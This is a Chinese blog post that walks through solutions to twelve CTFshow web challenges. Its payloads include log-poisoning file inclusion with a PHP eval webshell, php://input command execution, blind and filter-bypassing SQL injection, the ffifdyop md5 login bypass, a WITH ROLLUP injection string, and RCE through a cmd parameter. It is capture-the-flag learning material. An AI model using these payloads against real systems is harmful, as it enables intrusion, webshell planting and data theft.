[CTFshow]Web记录(连载中)

Web

Web签到题(注释隐藏,base64编码)

F12,发现注释里面有一串base64,解码拿到flag。

Web2(sql盲注)

打开题目一看似乎是个时间盲注,直接丢sqlmap爆破拿到flag。

Web3(文件包含,伪协议)

主页上有这么一行代码,很明显是文件包含漏洞,get一下url的值,然后包含文件。这里我们使用php的input伪协议,

先来个phpinfo试一下,成功显示,不过里面没什么重要东西。这次我们执行命令ls:

返回如下:

里面有个ctf_go_go_go很可疑,使用cat命令打开:

<?php system("cat 'ctf_go_go_go'");?>

flag就在里面,成功回显。

值得注意的一点:

第一次执行ls命令的时候我使用了eval函数,回显页面只有命令产生的回显,原来index里面的页面内容都不见了;第二次直接system执行,不使用eval的时候,回显页面是index加上命令回显,暂时不知道原因。

Web4(文件包含,日志注入,webshell)

还是一样的页面,但这次让我吃了点苦头。尝试和上一次一样的php伪协议,但是都会返回一个error页面,无可奈何查看hint,hint说此题为日志注入。

日志注入:

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

在不同的服务器,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

首先,构造payload:

?url=/etc/passwd

Linux下的/etc/passwd文件中有一些记录,如果可以访问这个地址说明我们可以查看内网文件。访问之后发现果然可以查看内网文件,并且知道了服务器是nginx。

构造payload:

?url=/var/log/nginx/access.log

看到了里面的内容,发现记录的东西都是user-agent,那我们burp抓包,在user-agent中注入,比如添加<?php phpinfo();?>试试看:

成功回显,我们将phpinfo()改成一句话木马进行注入:

<?php @eval($_POST['shell']);?>

使用蚁剑连接,在目录中可以找到flag。

值得注意的一点:

第一次蚁剑连接之后里面的文件都是奇奇怪怪的东西,后来重新弄了一遍之后就好了,也许是哪里出了点问题。

Web5(php弱类型,md5碰撞)

get两个值v1和v2,ctype_alpha检查v1是否仅包含字符,is_numeric检查v2是否为数字或数字字符串,然后构造md5碰撞。这是典型的弱类型比较问题,“ == ”运算符会将两个比较对象转换成同一类型再进行比较,对于字符串来说,数字开头的就会转换成相应数字,比如"1a"==1返回true,其他一概转换成0,如"a0"==0返回true。所以我们只要找一些md5值开头是0e的字符串就可以。

md5(QNKCDZO) = 0e830400451993494058024219903391
md5(240610708) = 0e462097431906509019562988736854

两者在比较的时候都会转换成0,从而导致判断结果为相等。

Web6(SQL注入——post型盲注)

经过测试,是个过滤空格的布尔盲注,可以手注(将空格换成注释即可),也可以sqlmap爆破,使用space2randomblank.py脚本爆破即可。

Web7(SQL注入——get型布尔盲注)

跟上一道题如出一辙,只不过请求方式从post换成了get而已,用和web6一样的方法处理就行。

Web8(SQL注入——get型布尔盲注)

这道题过滤了单引号,逗号,and,union等关键字符,所以sqlmap很难受了,需要手工注入。

过滤空格:用注释/**/替换空格。

过滤逗号:substr(database(),1,1)改成substr(database() from 1 for 1)(空格需要替换)

手工盲注太过繁琐,利用python脚本爆破flag。

一点一点爆出flag还是很有成就感的。(但是太慢了,我都怕环境关了爆不完)

Web9(SQL注入——md5特性)

进来之后是一个登录页面,感觉像sql注入,但是发现怎么试都没有反应,决定再重新做一次信息搜集,结果发现了index.phps文件(信息搜集的重要性!!!)。

首先username已经锁死是admin了,所以我们最初的思路是完全错误的。密码长度不能大于10,否则会die掉。后台对传入的password值进行md5处理,这里重中之重来了:

md5($password,true)

md5(string,raw)函数的第二个参数raw的值,可以是false或true。

默认不写为false,编码成32位16进制字符串,即我们通常见到的那种md5字符串;

如果为true,会编码成16位原始二进制字符串,注意这里的原始二进制字符串不是01比特流,而是类似于'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c这种莫名其妙的字符串。

这里先说结论:传入password=ffifdyop

md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

此时sql语句变成了:

select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'

注意看后半部分变成了

password ='' or '6\xc9]\x99\xe9!r,\xf9\xedb\x1c'

我们知道在php中,如果一个字符串是由数字开头的,那么这个字符串的整型值就是这个数,比如这个'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'的值就是6,所以实际上是:

password='' or 6

6换成bool是true,所以万能密码构造完成,登录成功获得flag。实际上我们是要找到一个字符串,使得:

md5(str, true)='or'[1-9]*

Web10(SQL——with rollup注入)

首先信息搜集,访问index.phps拿到后台源码:

首先,正则表达式不分大小写过滤掉了select,from,where等关键字。我们考虑双写绕过,但下面的长度比较让我们无法使用双写绕过,无奈寻求场外帮助,得知此题使用到了之前没有接触过的with rollup绕过。

简单介绍一下with rollup:

首先回顾一下group by:group by会将数据行结果按照列值进行分组,它的后面可以再跟with rollup语句,表示在进行分组统计的基础上再次进行汇总统计。

select password from web group by password with rollup;

本题中with rollup最重要的一个特性,就是会在表中多产生一行NULL:

由于使用with rollup之后会多出来一行NULL,那么只要password输入为NULL,就可以查询成功。构造post数据(空格用注释绕过):

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

登录成功,拿到flag。

Web11(绕过SESSION登录验证)

代码审计一下,还是过滤了那些东西,这次是只输入password,和SESSION中保存的password相同即可成功登录。那我们直接打开cookie editor,删除掉PHPSESSID,这样就没有SESSION内容了,什么都不输入即可登录成功。或者burpsuite抓包修改也可以。

Web12(RCE)

极简界面,先信息搜集。F12发现注释里提示get一个变量cmd:

初步认为是RCE,之后的信息搜集没有任何收获,暂时按照RCE来处理。

使用system无回显,换一种方法,使用scandir(".")扫描当前目录:

?cmd=print_r(scandir("."));

发现回显了:

直接访问这个长长的php看不到,使用show_source显示源码(自带高亮):

?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

拿到flag了。

posted @ 2022-04-13 18:26  Cr4zysong11  阅读(90)  评论(0)    收藏  举报